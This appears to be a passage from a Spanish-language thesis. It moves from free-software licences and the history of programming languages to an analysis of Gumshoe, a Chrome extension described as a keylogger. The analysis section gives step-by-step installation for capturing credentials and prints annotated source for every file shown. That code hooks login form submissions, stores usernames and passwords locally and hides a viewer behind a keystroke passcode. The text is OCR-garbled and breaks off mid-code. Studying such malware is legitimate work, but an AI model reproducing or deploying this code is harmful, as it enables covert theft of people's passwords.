recoge cuatro libertades basicas basadas en el acceso libre y total al cédigo
fuente de los programas:

e “Libertad O: libertad para utilizar un programa, sea cual sea el propdsito”
(UOC, s. f., 18° parrafo).

e “Libertad 1: libertad para estudiar como funciona un programa, y capacidad
para adaptarlo a las propias necesidades. El acceso al cédigo fuente es una

condicion sine qua non” (UOC, s. f., 18° parrafo).

e “Libertad 2: libertad para redistribuir copias” (UOC, s. f., 18° parrafo).

e “Libertad 3: libertad para mejorar un programa y presentar dichas mejoras a
la comunidad para que pueda beneficiarse. Aqui el acceso al cédigo fuente

también es una condicion” (UOC, s. f., 18° parrafo).

Stallman cre6 una herramienta legal e institucional para reforzar estas libertades,
que es la General Public License (GPL), la cual sustituye el término copyright por
copyleft. El software licenciado con GPL, asi como los productos que se deriven
de éste, no pueden convertirse en productos. Ademas, los codigos de programas
GPL no pueden ser usados en ninguna combinacion con software propietario a

no ser que el nuevo software se licencie también con GPL

El software libre es la contraparte del software propietario o de codigo cerrado.
El software de codigo cerrado esta altamente protegido. Solo los propietarios del
cadigo fuente tienen el derecho legal de acceder a él. La modificacion o la copia
del cadigo fuente cerrado estan prohibidas por ley, y el usuario solo paga por el
uso del software tal y como esta; no puede modificarlo para usos nuevos ni

compartirlo con la comunidad (UOC, s. f., 20° parrafo).

Sin embargo, la denominacion software libre ha generado mucha confusion. El
software libre no implica necesariamente que sea gratuito, sino que los usuarios
pueden utilizarlo como lo deseen. Esta filosofia se basa en la libertad intelectual

y los principios fundamentales: transparencia, colaboracion, entrega, inclusion y
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comunidad. El intercambio de ideas y software desarrollado por las comunidades
ha impulsado el avance creativo, cientifico y tecnoldogico en industrias tales
como: educacion, gobierno, derecho, salud y manufactura. Este movimiento creé
una instancia para que los miembros de la comunidad global colaboren,
compartan y se ayuden entre si para lograr objetivos personales y comerciales

a través del cddigo fuente. Algunos de los valores de esta filosofia son:

e “Revision entre compafieros: dado que se puede acceder al codigo fuente
libremente y que la comunidad de software libre es muy activa, los colegas

programadores verifican y lo mejoran” (RedHat, 2019, 21° - 28° parrafo).

e “Transparencia: Se puede verificar informacion y realizar un seguimiento, sin
tener que depender de las promesas de los proveedores” (RedHat, 2019, 21°

- 28° parrafo).

e “Confiabilidad: El cédigo propietario depende de un solo autor o una sola
empresa que lo controlan para mantenerlo actualizado, con parches y en
funcionamiento. El software libre sobrevive a sus autores originales porque
las comunidades activas lo actualizan constantemente. Los estandares
abiertos y la revisién entre comparfieros garantizan que el software libre se

evalla de manera regular y adecuada” (RedHat, 2019, 21° - 28° parrafo).

¢ “Flexibilidad: dado el énfasis del software libre en la modificacion, puede
utilizarlo para abordar los problemas especificos. No esta obligado a usar el
coédigo de una manera especifica, y puede contar con la ayuda de la
comunidad y la revisibn entre compafieros al momento de implementar

soluciones nuevas” (RedHat, 2019, 21° - 28° parrafo).

e “Colaboracion abierta: las comunidades de software libre activas brindan la
posibilidad de buscar ayuda, recursos y puntos de vista que trascienden el

interés de un grupo o una empresa” (RedHat, 2019, 21° - 28° parrafo).

La idea del software libre se centra en la premisa de que, al compartir el cédigo,
el programa resultante tiende a ser de calidad superior al software propietario,

es una vision técnica. Por otro lado, el software libre tiene tendencias filoséficas
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incluso morales: el software propietario, al no poder compartirse, es antiético
dado que prohibir compartir entre seres humanos va en contra del sentido

comun.

Algunas de las licencias de software de codigo abierto mas populares incluyen:

e “MIT License®©: MIT License es una licencia de software libre que permite a
los usuarios modificar el cédigo original con muy pocas restricciones” (IBM,
s. f., 4° pérrafo).

e “GNU General Public© (GPL): GNU es una serie de licencias de software libre
gue permite a los usuarios finales ejecutar, estudiar, compartir y modificar

software” (IBM, s. f., 4° parrafo).

e “Apache®: Apache License 2.0 es una licencia de software libre que permite
a los usuarios utilizar, modificar y distribuir el software, para cualquier

propésito” (IBM, s. f., 4° parrafo).

e “BSD: Esta licencia tiene menos restricciones para los desarrolladores, lo que
permite a los usuarios utilizar y modificar el cédigo sin tener que compartir las

modificaciones” (IBM, s. f., 4° parrafo).

e “MySQL™: MySQL es un sistema de gestion de bases de datos de cddigo
abierto con dos licencias independientes: MySQL Standard Edition y MySQL
Enterprise Edition” (IBM, s. f., 4° parrafo).

e “SUSE: SUSE Linux esta desarrollado en el kernel de Linux de cédigo abierto
y se distribuye con software de aplicaciones y sistemas” (IBM, s. f., 4°

parrafo).

e “Ubuntu®: Ubuntu es un recurso de Linux compuesto por software libre y

cadigo abierto creado para desktop, nube e I0T” (IBM, s. f., 4° parrafo).

3.2 Gumshoe
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Una vez informado sobre el contexto del significado del cédigo abierto se puede
proseguir con los antecedentes de Gumshoe.

Esta extension que puede ser catalogada como un keylogger, actualmente no se
encuentra ya disponible para su uso en el navegador Chrome, en el sitio donde
se toma la informacion de la descripcion se hace el comentario que, aunque era
dafiino, los administradores de la Tienda Web de Chrome, se tardaron 3 afios en
dar de baja la extension y su autor (Artille, s. f.), no quiere comentar con nadie

sobre el cédigo o el funcionamiento de su creacion.

Figura 4 - icono Gumshoe

Tomado de Artille, s. f.

Aunque esta puede ser descargada y vuelto a poner en marcha desde Github,
un repositorio conocido por la comunidad informatica (de donde se toman los
datos mencionados en esta investigacion), aunque este procedimiento manual
es un poca mas laborioso que tener la extension desde la Tienda Web de
Chrome, instalarla manualmente cumpliria con el mismo propdsito que realizaba

previamente al darla de baja.

En este repositorio se menciona también que todo el paquete de cddigo fue
creado el 16 de enero del 2015 y se restringe el uso malicioso, aunque comenta
que, si alguien llega a utilizar su creacion de mala forma, sera la responsabilidad
de quien lo haga con este fin (Artille, s. f.).

Es dificil encontrar informacion de algun ataque que se haya hecho noticia
debido a su uso, por lo que el contenido de esta investigacion es la primera en

Su tipo ya que se tiene un contexto de lo ocurrido y porgque ocurrié.

Algo importante a destacar es que la extension tuvo varias versiones y las fechas

de lanzamiento, fueron las siguientes:
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Gumshoe 2.11 CRX lanzado el 16 de enero de 2015.
Gumshoe 2.12 CRX lanzado el 4 de septiembre de 2015.
Gumshoe 2.14 CRX lanzado el 7 de septiembre del 2015.

También se puedo obtener el total de descargas de la extensién las cuales llegan

a un total de 5331 (Artille, s. f.), aunque fueron bastantes, si se compara con

otras aplicaciones ya sea de Facebook o WhatsApp no fueron muchas,

3.3 Funcionamiento del Malware Gumshoe.

3.3.1 Instalaciéon en Chrome

A continuacion, se enumeran los pasos a seguir para la instalacion del malware

como extension dentro del navegador Chrome:

1. El primer paso para usar esta extension era tener el navegador Chrome, al

parecer Gumshoe también funcionaba con otros navegadores, pero la
instalacion era mas sencilla si se realizaba sobre el navegador anteriormente

mencionado.

Figura 5 - Google Chrome

Google Chrome

Navegador web i

Tomado de Google Chrome

Desde el menu de Chrome, se puede encontrar un submenu, en el cual se
puede observar la palabra extensiones, esta abre una péagina llena de
diferentes utilidades, las cuales pueden ser descargadas y conseguir que
funcionen si se tiene este navegador abierto o también se podia realizar la
busqueda en Google de la palabra Gumshoe, en el buscador saldria la opcion
de ir hacia la WebStore, directo a la extensién donde se podia agregar
(Google, 2022, 2° parrafo).
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Figura 6 - Instalacién de Gumshoe 1

(Google  anwe ! En

gumshoe

Tomado de The Transworker, 2018

Una vez encontradas las extensiones, en el buscador se redactaba el nombre
del Malware Gumshoe y aparecia la utilidad maliciosa, la cual al pulsar el
boton “ADDED TO CHROME” se descargaba en automético y se instalaba
(Google, 2022, 2° parrafo).

Figura 7 - Instalacién de Gumshoe 2

»  Gumshoe [+ w0 gowne | <]

Tomado de The Transworker, 2018

Una vez instalada la extensién Gumshoe, aparecia un nuevo icono dentro del
navegador en la parte superior derecha, en el cual se pulsaba y desplegaba
un menu en el cual se podia esconder el icono en el navegador y si también
se deseaba recopilar usuarios y contrasefias, aunque se abriera una ventana

en privado (Artille, s. f.).
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Figura 8 - Instalacion de Gumshoe 3
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encontraba lista para funcionar.

Fiiura 9 - Instalacion de Gumshoe 4
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6. Para probar el funcionamiento, se ingresaba a cualquier pagina que requiera
entrar por medio de un usuario y contrasefia como lo es cualquier red social

by dusosalie
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y comenzaba con la recopilacion de datos (Atrtille, s. f.).
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Figura 10 - Instalacién de Gumshoe 5

facebook o -

Facebook helps you connect and share with the c reate an accou nt

people in your life. I's free and always will be

Croste o Page fox @ colabeity, band o business.

Tomado de The Transworker, 2018

Estos datos se recopilaban, como ya se comentd en un archivo local, este
podia mostrase, al colocar la palabra gslog dentro de la barra de busqueda
de direcciones en el navegador, posteriormente abria una nueva pagina,
donde se apreciaban las credenciales y la pagina de donde se habian tomado
(Artille, s. 1.).

Figura 11 - Instalacién de Gumshoe 6

Google  owed
gsalog [N
geolog facebook >
gselo
gse log not work
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Tomado de The Transworker, 2018
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Figura 12 - Instalacién de Gumshoe 7

,’-?L
A
www.paypal.com aaron @artille.name - imbroke 2013-04-22 21:33:51
github.com 5489 - [kdjig! 2013-04-22 21:32:06
ccaccentral.ccac.edu aaron = hackme 2013-04-22 21:31:12
new.myspace.com aaron@artille.name - lambda2 2013-04-22 21:29:18
www, reddit.com 5489 - actually my password... 2013-04-22 21:26:56
www .facebook.com aaron@ariille.name - fake123 2013-04-22 21:25:58
Showing 6 record(s) Change Passcode Delete Recordis)

Tomado de The Transworker, 2018

Al mostrar las credenciales, cualquiera puede acceder a la pagina a la cual
pertenecen, siendo esto un gran foco de alerta, ya que se puede tener

contrasefias de pagina del banco, redes sociales, correo, etc.

3.3.2 Cadigo Fuente

3.3.2.1 Lenguaje de Programacion

Los lenguajes de programacion son una herramienta que permite desarrollar
software o programas para computadora, son empleados para disefar e
implementar programas encargados de definir y administrar el comportamiento
de los dispositivos fisicos y logicos de una computadora (Santander

Universidades, 2022, 3° parrafo).

Lo anterior se logra mediante la creacién e implementacion de algoritmos de
precision que se utilizan como una forma de comunicacibn humana con la
computadora. Un lenguaje de programaciéon se conforma de una serie de
simbolos y reglas de sintaxis y semantica que definen la estructura principal del

lenguaje y le dan un significado a sus elementos y expresiones.
Los lenguajes de programacion fueron concebidos por primera vez por un
profesor de matematicas e inventor en la universidad de Cambridge, Inglaterra,

a mediados del siglo XIX, que tenia por nombre Charles Babbes, al predecir
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varias de las teorias en las que se basan las computadoras actuales (CUAED, s.
f., 4° Parrafo).

Babbage desarrollé la idea de una maquina analitica programable que, por
limitaciones tecnoldgicas de su época, no pudo ser construida. Junto con él, su
colaboradora Ada Lovelace es considerada como la primera programadora de la
historia, ya que escribié los primeros programas para la maquina pensada por
Babbage en tarjetas perforadas, siguiendo una légica de programacion muy
similar a la empleada en estos dias. Estos programas nunca pudieron verse
ejecutados debido a que la maquina no fue construida (Rivero Espinosa, s. f.
5°parrafo).

Las técnicas empleadas por Babbage y Ada fueron seguidas por los primeros
programadores de computadoras, quienes se valieron de tarjetas perforadas
para introducir sus programas en las computadoras. En 1823, con el apoyo del
gobierno britanico, se aprobé el proyecto de construccion de una maquina de
diferencias. Esta maquina era un dispositivo mecanico disefiado para realizar
sumas de forma repetitiva. Babbage abandond el proyecto para dedicarse a su
maquina analitica, influenciado por la creacion de un fabricante de telas francés,
Joseph Marie Jacquard, que habia desarrollado una méaquina tejedora con la
capacidad de reproducir patrones de tejidos, leyendo informacion codificada en

tarjetas perforadas de papel rigido (CUAED, s. f., 7° Parrafo).

Los lenguajes de programacion al principio eran muy dificiles de entender ya que
estaban desarrollados para ser entendidos directamente por las maquinas
(lenguajes de bajo nivel) y eran muy pocas las personas que se dedicaban a
programar, pero con el paso del tiempo se han hecho cada vez mas amigables
y gracias al uso de compiladores e intérpretes se ha podido llevar la
programacion a un nivel de lenguaje mas comprensible para la gente (lenguajes
de alto nivel) facilitando el proceso de desarrollo de software (CUAED, s. f., 10°

Parrafo).

Durante la década de 1960 comenzaron a existir nuevos lenguajes de
programacion cada vez mas completos, concebidos a partir diversos enfoques,

caracteristicas y propositos que se describen mas adelante. En la actualidad,
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hay mas de dos mil lenguajes de programacion y cada dia son creados otros que
emplean de forma mas eficiente los recursos de las computadoras y hacen

posible la tarea de programacion para los usuarios (CUAED, s. f., 14° Parrafo).

Antes de pasar ver los principales lenguajes de programacion, se debe de
comentar una caracteristica comun a ellos, cuando se ingresan todas estas
lineas de cddigo de cualquier lenguaje siempre deben traducirse para que las
magquinas puedan entender las 6rdenes, esta labor se lleva a cabo mediante un

intérprete o un compilador.

e Un intérprete es un programa que ejecuta directamente las instrucciones
escritas en un lenguaje de programacion dado (Trigo Aranda, s. f., 4°

Parrafo).

e Un compilador es un programa que transforma el cédigo fuente de un
programa a su equivalente en otro lenguaje de programacién de mas bajo

nivel (Trigo Aranda, s. f., 4° Parrafo).

Para ciertos lenguajes, como los que se utilizaron para crear Gumshoe se utiliza
un intérprete y para otros de bajo nivel se utilizara el compilador.

Los tipos de lenguajes de programacion son:

Lenguajes Imperativos. Su origen se encuentra en la arquitectura de Von
Neumann, que consta de una secuencia de celdas en las cuales se pueden
guardar datos e instrucciones, y de un procesador capaz de ejecutar de manera
secuencial una serie de operaciones principalmente aritméticas y booleanas. En
general, un lenguaje imperativo ofrece al programador conceptos que se
traducen de forma natural al modelo de la maquina.

Ejemplos: FORTRAN, Algol, Pascal, C, Modula-2, Ada (Rivero Espinosa, s. f. 7°

parrafo).

Lenguajes Funcionales. Se maneja a partir del concepto de funcion matematica,
que convierte datos en resultados, se aprovecho la posibilidad que tienen las
funciones para manipular datos simbdlicos, y no solamente numéricos, y la

propiedad de las funciones que les permite componer, creando de esta manera,
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la oportunidad para resolver problemas complejos a partir de las soluciones a
otros mas sencillos. También se incluyé la posibilidad de definir funciones
recursivamente.

Ejemplos: LISP (Rivero Espinosa, s. f. 9° parrafo).

Lenguajes Logicos. Lenguajes declarativos que se crean mediante con axiomas
y reglas de deduccion, se utiliza el formalismo de la logica para representar el
conocimiento sobre un problema y para hacer preguntas que se vuelven
teoremas si se demuestra que se pueden deducir a partir del conocimiento dado
en forma de axiomas y de las reglas de deduccion estipuladas. Ejemplo: El,
PROLOG (Rivero Espinosa, s. f. 10° parrafo).

Lenguajes Orientados a Objetos. En los afios 60 se empezé a usar las
computadoras para la simulacién de problemas del mundo real. Pero el mundo
real estd lleno de objetos, en la mayoria de los casos complejos, los cuales
dificilmente se traducen a los tipos de datos primitivos de los lenguajes
imperativos. Asi surgio el concepto de objeto y sus colecciones, que permitieron
introducir abstracciones de datos a los lenguajes de programacioén. La posibilidad
de reutilizacién del cddigo y sus indispensables modificaciones, se reflejaron en
la idea de las jerarquias de herencia de clases. También surgié el concepto de
polimorfismo introducido via procedimientos virtuales.

Ejemplo: Smalltalk, C++, Eiffel, Modula-3, Ada 95, Java (Rivero Espinosa, s. f.
13° parrafo).

Lenguajes Concurrentes, Paralelos y Distribuidos. El origen de los conceptos
para el manejo de concurrencia, paralelismo y distribucion sirve para aprovechar
al maximo la arquitectura Von Neumann y sus modalidades reflejadas en
conexiones paralelas y distribuidas.

Ejemplo: Concurren, Pascal, OCCAM, Java (Rivero Espinosa, s. f. 17° parrafo).
Dado este breve resumen, se procede a explicar la clase especial de lenguajes

especificos para ser interpretados por los navegadores como Chrome, Opera,

los cuales hicieron posible el funcionamiento de Gumshoe:
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JavaScript (JS) es un lenguaje de programacion, interpretado, o compilado en el
momento, es conocido como un lenguaje de secuencias de comandos para
paginas web, y es usado en “muchos entornos fuera del navegador, tal como
Node.js, Apache CouchDB y Adobe Acrobat JavaScript, es un lenguaje de
programacion basada en prototipos, multiparadigma, de un solo hilo, dinamico,
con soporte para programacion orientada a objetos, imperativo y declarativo”
(Mozilla, 2022, 1° Parrafo).

El Lenguaje de Marcado de Hipertexto (HTML) es el codigo que se utiliza para
estructurar y desplegar una pagina web y sus contenidos. Por ejemplo, sus
contenidos podrian ser parrafos, una lista con vifietas, imagenes o tablas de
datos. HTML no es un lenguaje de programacién; “es un lenguaje de marcado
que define la estructura del contenido, consiste en una serie de elementos que
encierran diferentes partes del contenido para que se vean o comporten de una
determinada forma. Las etiquetas de encierre pueden hacer que el texto realice

diversas acciones” (Mozilla, 2020, 1° Parrafo).

Hojas de Estilo en Cascada (CSS) es el lenguaje de estilos utilizado para
describir la presentacion de documentos HTML o XML, describe como debe ser

renderizado el elemento estructurado en la pantalla (Mozilla, 2021, 1°parrafo).

JavaScript Notacion de Objetos de JavaScript (JSON) es un formato de
intercambio de datos. “Est4d basado en un subconjunto del Lenguaje de
Programacioén JavaScript, JSON es un formato de texto que es completamente
independiente del lenguaje, pero utiliza convenciones que son ampliamente
conocidos por los programadores de lenguajes C, incluyendo C, C++, C#, Java,

JavaScript, Perl, Python, y muchos otros” (org-json, s. f., 1° Parrafo).

Una vez explicado el funcionamiento de los anteriores lenguajes especiales se
procede a comentar el funcionamiento del cédigo fuente de Gumshoe.

A pesar de recabar datos sensibles Gumshoe, tiene una forma muy sencilla de
funcionar, realmente la complejidad de su algoritmo, no es dificil de comprender,
por lo que la versidbn que se encuentran dentro del repositorio GIT, donde
actualmente la extensién aun se encuentra alojada, podria ser descargada y

modificada, ya que la licencia que tiene, permitiria realizar tantas actualizaciones
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del codigo como se requiera, se hace la advertencia de tener precaucion y
discrecion con las siguiente informacion mostrada, debido al mal uso que
cualquier persona le puede dar. A continuacion, se explicaran los archivos que

contiene el malware.

La extension maliciosa Gumshoe utiliza un archivo CSS y un archivo HTML, en
conjunto, estos archivos ayudan a mostrar de forma ordenada y atractiva la
pagina donde seran mostradas las contrasefas, usuarios y paginas de donde
fueron obtenidos, también cuenta con tres iconos, que son tomados para mostrar
imagenes en la extension, un archivo JSON que facilita el intercambio de datos
entre la aplicacion, desde que son obtenidos hasta que estos son almacenados
en la base de datos local y por ultimo se tienen tres archivos JavaScript, donde
se presenta el funcionamiento principal para obtener las contrasefias, usuarios y
paginas de donde son tomadas las credenciales, sin olvidarnos de su archivo de
licencia, donde comenta el uso que se le puede dar a este pequefio programay
el MANIFEST, que de igual forma es un archivo JavaScript, el cual ayuda con
los permisos que debe de tener la extension para funcionar dentro del

navegador.

A continuacion, se mostrara y explicara el codigo de todos los archivos que
hacen funcionar a Gumshoe, la explicacion estara descrita iniciando con

diagonales y finalizara con estas mismas.

El archivo presentado a continuacién, es el cual, dentro de la programacion de
este malware se toma como principal, ya que tiene la tarea de hacer llamados a
los demas archivos necesarios para el funcionamiento de la extension, también
de mostrar la pantalla de inicio al abrir la extension y de mostrar las credenciales

almacenadas de sitios web.

TABLA 1

Archivo: manage.html

/I[Etiqueta indicando que es un | <IDOCTYPE htmi>
archivo HTML. // //Etiqueta que | <html lang="en">
informa del idioma que se mostrara | <head>

en el texto. // //Etiqueta que indica la | <meta charset="utf-8" />
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informacion que se mostrard en la
parte superior del archivo HTML y la
codificacién que se usard. //

/I Etiqueta que llama al archivo CSS
para darle ciertas caracteristicas a
todas las propiedades que se
mostraran dentro del archivo HTML.
/I l[Etiqueta que llama al archivo JS,
el cual traera las credenciales
recuperadas. // //Etiqueta del titulo
de la pagina HTML. // //[Etiqueta de
cierre y etiquetas que muestran el
inicio del cuerpo de la pagina HTML.
/I [[Etiqueta que contiene la imagen
de la extension// //Etiqueta, que
encierra texto, con el
“Hecho

intenciones”. // //Propiedad que auto

mensaje:

a mano con buenas
enfoca dentro de los campos de
entrada de texto. // //Etiqueta de
cierre del cuerpo de la pagina HTML.
Il llEtigueta que indica la creacion de
una lista, donde se mostraran las
credenciales obtenidas. //
/[Contador que indica el nimero de
credenciales almacenadas. //
/[Etiqueta que indica la creacion de
un botén, el cual sirve para eliminar
las credenciales mostradas. //
/[Etiqueta que indica la creacién de
un  boton, tiene

que como

funcionalidad, cambiar la
contrasefia, que se usa para entrar a
esta pagina HTML. //

/[Etiquetas de cierre, que indican el

fin de la pagina HTML. //

<style type="text/css">@import
url("../css/manage.css");</style>

<script type="text/javascript"
src="../js/manage.js"></script>
<titte>Gumshoe: Property Room</title>
</head>

<body>

<header>

<a id="logo"
href="https://github.com/S489/gumshoe"></a>
<p id="plug">

Handcrafted with good intentions &amp;
<i>S489</i>

</p>

<input id="refineTxt" type="text"
autofocus="autofocus" />

</header>

<ul id="recordList"></ul>

<footer>

<p>Showing <b id="counter">0</b>
record(s)</p>

<button id="deleteBtn" type="button">Delete
Record(s)</button>

<button id="passcodeBtn"
type="button">Change Passcode</button>
</footer>

</body>

</html>
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Fuente: Artille, A. (s/f). Gumshoe: A Chromium extension for discreet password

logging. https://github.com/AJAr/gumshoe

Para dar una mejor apariencia, color y disefio, aparte de hacer amigable la
interfaz al usuario, el siguiente contenedor de cédigo llamado manage.css, se
encarga de brindarle una mejor presentacion al archivo principal, dandole ciertas
caracteristicas complementarias, muestra el icono de la extension, en cuanto a

las tablas donde se presentan las credenciales robadas las alinea, les da formato

y color, al igual que al texto.

TABLA 2

Archivo: manage.css

/IPropiedad que permite dar margen y color a la
pagina WEB en la cual se le aplicara el archivo
CSS. /I [IPropiedad que da formato y tamario a la
letra que sera mostrada dentro del cuerpo de la
pagina WEB en la cual se le aplicara el archivo
CSS. /I l/Propiedades que indican el subrayado
del texto que se encuentra dentro del cuerpo de
la pagina WEB en la cual se le aplicara el archivo
CSS. /I lIPropiedad que indica el color de fondo
la pagina WEB en la cual se le aplicara el archivo
CSS. /l /IPropiedad que da formato y tamafio a la
letra que sera mostrada dentro de la cabecera de
la pagina WEB en la cual se le aplicara el archivo
CSS. /I /IPropiedad que define el formato de la
parte inferior de la pagina WEB en la cual se le
aplicard el archivo CSS, también indica el
formato con el cual se mostrara el boton
contenido dentro de ella. // //Propiedad que indica
el color y el tamafo del encabezado. //
/IPropiedad que da formato a la imagen mostrada
como logo dentro de la extension. // //Propiedad
gue da ciertas caracteristicas de formato a la
parte final de la pagina WEB en la cual se le

aplicara el archivo CSS. // //Propiedad que da

formato a uno de los botones presentes en la
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*{margin: 0; padding: O;

color: #636153;}

body {font-family: Helvetica, Arial,
sans-serif; font-size: 11px;}

a {text-decoration: none;}
a:hover{text-
decoration:underline;}
.:selection {color: #FFF;
background-color: #636153;}
header, footer, ul {position:
absolute; left: 20px; right: 20px;}
header {top: 20px;}

footer {bottom: 20px;}

header, footer, input, button, li {
border: 1px solid #B1AF9B;}
header, footer {height: 40px;
background-color: #DBD8C4;}
a#logo {float: left; width: 55px;
height: 40px; background-image:
url("../img/logo.png");}

p#plug {display: none;}

p#plug, footer > p {float: left;
margin: 13px;}

input, button {float: right; margin:

6px 6px 0 0; font-size: inherit;




pagina WEB en la cual se le aplicara el archivo
CSS. /I l/Propiedad que describe el formato de
un campo de texto mostrado en la pagina WEB
en la cual se le aplicarq el archivo CSS. //
/IPropiedad que define las caracteristicas de
subrayado que se le dar4 a un botén cuando sea
seleccionado. //

/IPropiedad que contiene dentro la lista donde se
muestran las credenciales almacenadas, esta
propiedad también tiene definido el formato en el

gue se quiere sea mostrado. //

/I Propiedad que itera y da el formato a la lista

gue muestra las credenciales. //

font-family: inherit;}
input#refineTxt {width: 25%;
padding: 6px;}

button{padding: 6px 8px;}
button:hover {background-color:
#FFF;}

button:active {margin-top: 7px;}

ul {top: 77px; bottom: 77px; list-
style: none; overflow-y: scroll;}
li {margin: 0 10px 10px O;
padding: 7px 9px; text-align:
center; overflow: hidden;}

li> a, li > p {position: absolute;
display: inline-block;}

li > p {right: 21px;}

li > a {left: 10px;}

logging. https://github.com/AJAr/gumshoe

Fuente: Artille, A. (s/f). Gumshoe: A Chromium extension for discreet password

El fichero siguiente, tiene la funcionalidad mas importante de todos los demas,

ya que fue programado para realizar la recopilacion de las credenciales de los

sitios web que contienen campos con usuario y contrasefia, para esto hace

algunas validaciones, como la ya mencionada anteriormente, de buscar si en la

pagina abierta hay algin campo que haga mencion a las credenciales de usuario,

entre otras validaciones a continuacién comentadas.

TABLA 3

Archivo: log.js

tiene como finalidad, | var form = formsi];

el usuario tiene | var f = fields[j];
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//INombre de la funcién. | function monitorSubmissions() {
1 var forms = document.getElementsByTagName('form’);

//La funcion presentada | for (var i = 0; i < forms.length; i++) {

validar o detectar si la | var fields = form.getElementsByTagName('input');

pagina WEB que abri6 | for (var j = 0; j < fields.length; j++) {




campos, donde se

ingresan usuario y

contrasefa. //

//lLa variable forms en

conjunto con el for,

estan verificando la
existencia de unl
formulario, revisando

elemento por elemento,
hasta llegar al final de la
pagina WEB. //

/IEsta funcién realiza la

tarea de tomar las
credenciales del sitio
WEB al ingresarse

cualquier usuario. //
//Se puede notar, por
medio de la llamada a
Chrome.storage.local,
que la extension
recopila y pone en
mayusculas la
contrasefia y el usuario
encontrados, los cuales

son iterados. //

if (fform._pass && f.type == 'password’)

form._pass = f;

else if (Iform._user && (f.type == "text' || f.type == 'email’))
form._user =f;

if (!(form._user ==
undefined))

continue;

undefined && form._pass !==

form.onsubmit = function() {

if (this._user.value && this._pass.value) {
chrome.extension.sendRequest({
action: 'queryDatabase’,

crud: ‘create’,

record: [

window.location.href,
window.location.hostname,
this._user.value,
this._pass.valuel});}};

break;}}}

function monitorKeystrokes() {
var passcode;
var progress = 0;
matched
chrome.storage.local.get('passcode’, function(response) {
passcode = response.passcode.toUpperCase();});
chrome.storage.onChanged.addListener(function(changes,
namespace) {
for (key in changes) {
if (key == 'passcode’)
passcode = changes[key].newValue.toUpperCase();}});
window.addEventListener(‘keydown', function(event) {
if (event.which == passcode.charCodeAt(progress)) {
if (progress == passcode.length - 1) {
chrome.extension.sendRequest({action: ‘openManage'});
} else {
progress++;
return true;}}
progress = 0;});}
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/[Por ultimo se vuelven
a llamar las funciones
anteriores para estar
constantemente
monitoreando las
paginas que abre el

usuario. //

monitorSubmissions();

monitorKeystrokes();

Fuente: Artille, A. (s/f). Gumshoe: A Chromium extension for discreet password

logging. https://github.com/AJAr/gumshoe

Manage.js se encarga de administrar las credenciales encontradas, ya que tiene

el objetivo de mostrarlas con un query hacia la base de datos local, el cual las

extrae y las va iterando hasta presentarlas en su totalidad de forma automética.

Otro de sus obijetivos es eliminar las contrasefias y usuarios encontrados, esto

es de forma manual, para que el usuario de este keylogger decida cuando hacer

una purga de lo encontrado.

TABLA 4

Archivo: manage.js

/IAl iniciar el archivo JS,

pueden encontrar variables en las

se

cuales se guardaran tiempo y
alguna contrasefia en todo el
programa. //

/ICada vez que se abre la pagina
Manage.html inicia la funcién
queryRecords, la cual enlistara
todas las credenciales
recuperadas hasta el momento. //
//lLa pagina Manage.html, tiene la
funcionalidad de eliminar las
credenciales encontradas, esta
funcionalidad se muestra aqui, al
pulsar el botén aqui mencionado.

1

var timeout;

var passcode;

window.onload = function() {
refineTxt.addEventListener('keydown’,
function() {

clearTimeout(timeout);

timeout = setTimeout(queryRecords, 100);});

deleteBtn.addEventListener('click’, function() {

if (counter.innerHTML > 0 && confirm('Delete ' +
counter.innerHTML +

"record(s)? Severely permanent, mind you.")) {

queryRecords('delete’);}});

chrome.storage.local.get('passcode’,

function(response) {
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de

Manage.html se cuenta con la

/[Dentro de la péagina
funcionalidad de resguardar las
credenciales encontradas
mediante una contrasefia, que
solo podré utilizar la persona que
instald6 la extension maliciosa,
aqui se muestra el funcionamiento
donde se solicita la contrasefia
para evitar que alguien mas revise

lo que almacend el keylogger. //

/[Funcion que trae la lista de

credenciales almacenadas. //

/[Funcién que hace un llamado a
la base de datos para tomar los
contienen las

registros que

credenciales, para luego ser

mostrados  en la  péagina

Manage.html, estos son
colocados en un formato de tabla.

1

/[Funcién que itera y muestra las
credenciales contenidas en la

tabla creada anteriormente. //

console.log(response)

passcode = response.passcode});

passcodeBtn.addEventListener(‘click’, function()
{var p = prompt('Enter a passcode (minimum 4
characters):’, passcode);

if (p && p.length >=4) {
chrome.storage.local.set({'passcode" p},
function() {

passcode = p;}):});

function queryRecords(crud) {
if ('crud)

crud = ‘read";

chrome.extension.sendRequest({

action: 'queryDatabase’,

crud: crud,

refine: refineTxt.value

}, function(rows) {

counter.innerHTML = rows.length;
recordList.innerHTML =",

for (i in rows) {

recordList.innerHTML += '<Ii>' + rows][i].user + '
&#8227; ' +

rowsli].pass + '<a href="" + rows[i].href + "'>' +
rows[i].host +
'</p></li>"}1});}

'<fa><p>'" + rows[i].time +

function displayRecords(rows) {
counter.innerHTML = rows.length;
recordList.innerHTML =";

for (i in rows) {

var row = rowsli;

‘recordList’

recordList.innerHTML +='<Ii>' + row.user + ' /"' +
row.pass +

'<a href="" + row.href + ">' + row.host + '</a>' +
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class="timestamp">' + row.time +

s
'<Ip></li>"}}

Fuente: Artille, A. (s/f).
logging. https://github.com/AJAr/gumshoe

Gumshoe: A Chromium extension for discreet password

Este archivo de tipo json, tiene otra caracteristica importante para la extension

maliciosa, ya que crea una base de datos local y abre una conexién hacia ella

mediante la cual permite guardar las credenciales encontradas por el fichero

manage.js, también se puede observar que hace algunas verificaciones, como

revisar si la credencial afiadida ya estaba previamente guardada, entre otras

verificaciones.

TABLA 5

Archivo: background.js

/EI

abriendo una conexién

archivo inicia
a la base de datos
local. // //[Funcién que,
al abrir la péagina
manage.html, verifica
si se le envio el
parametro
‘queryDatabase’, para
solicitar la contrasefa e
ingresar a las
credenciales
recopiladas, si el
parametro enviado es
‘create’ significa que va
a insertar credenciales
dentro de la base de
datos local y si no es
ninguna de las dos
opciones revisa que el
parametro enviado sea

‘read’ en este caso

var db = openDatabase('Gumshoe’, '1', 'login records’, 5 *
1024 * 1024);

chrome.extension.onRequest.addListener(function(request,
tab, respond) {

if (request.action == 'openManage")
chrome.tabs.create({'url’: 'html/manage.html'});

if (request.action == 'queryDatabase’) {
db.transaction(function(tx) {

if (request.crud == 'create") {

tx.executeSql('insert into log (href, host, user, pass) ' +
'VALUES (?, ?, ?, ?)', request.record);

} else {

var query = ' FROM log WHERE host LIKE ?1 OR user
LIKE' +

'?1 OR pass LIKE ?1 OR time LIKE ?1';

if (request.crud == 'read’)

query ='SELECT * + query + ' ORDER BY time DESC';

if (request.crud == 'delete’)

query = 'DELETE' + query;

